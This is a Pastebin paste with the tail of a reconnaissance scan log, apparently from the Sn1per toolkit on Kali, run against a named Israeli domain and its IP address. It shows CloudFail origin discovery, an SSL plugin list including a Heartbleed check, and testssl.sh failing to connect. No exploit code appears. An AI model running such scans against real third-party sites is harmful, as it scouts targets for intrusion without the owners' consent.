  2596. | | | |/ _ \| | | |/ _` | |_ / _` | | |
  2597. | |___| | (_) | |_| | (_| | _| (_| | | |
  2598. \____|_|\___/ \__,_|\__,_|_| \__,_|_|_|
  2599. v1.0.1 by m0rtem
  2600.  
  2601.  
  2602. [17:31:13] Initializing CloudFail - the date is: 16/12/2017
  2603. [17:31:13] Fetching initial information from: ipanema.co.il...
  2604. [17:31:21] Server IP: 212.199.178.28
  2605. [17:31:21] Testing if ipanema.co.il is on the Cloudflare network...
  2606. [17:31:21] ipanema.co.il is not part of the Cloudflare network, quitting...
  2607.  + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
  2608. https://ipanema.co.il [ Unassigned]
  2609.  
  2610.  + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +
  2611.  
  2612.  
  2613.  
  2614. AVAILABLE PLUGINS
  2615. -----------------
  2616.  
  2617. PluginOpenSSLCipherSuites
  2618. PluginCertInfo
  2619. PluginCompression
  2620. PluginChromeSha1Deprecation
  2621. PluginHSTS
  2622. PluginSessionResumption
  2623. PluginSessionRenegotiation
  2624. PluginHeartbleed
  2625.  
  2626.  
  2627.  
  2628. CHECKING HOST(S) AVAILABILITY
  2629. -----------------------------
  2630.  
  2631. ipanema.co.il => WARNING: Could not connect (timeout); discarding corresponding tasks.
  2632.  
  2633.  
  2634.  
  2635. SCAN COMPLETED IN 13.04 S
  2636. -------------------------
  2637. Version: 1.11.10-static
  2638. OpenSSL 1.0.2-chacha (1.0.2g-dev)
  2639. 
  2640. 
  2641. ###########################################################
  2642. testssl 2.9dev from https://testssl.sh/dev/
  2643. 
  2644. This program is free software. Distribution and
  2645. modification under GPLv2 permitted.
  2646. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
  2647.  
  2648. Please file bugs @ https://testssl.sh/bugs/
  2649. 
  2650. ###########################################################
  2651.  
  2652. Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
  2653. on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
  2654. (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")
  2655.  
  2656.  
  2657.  
  2658. Unable to open a socket to 212.199.178.28:443. 
  2659. #######################################################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!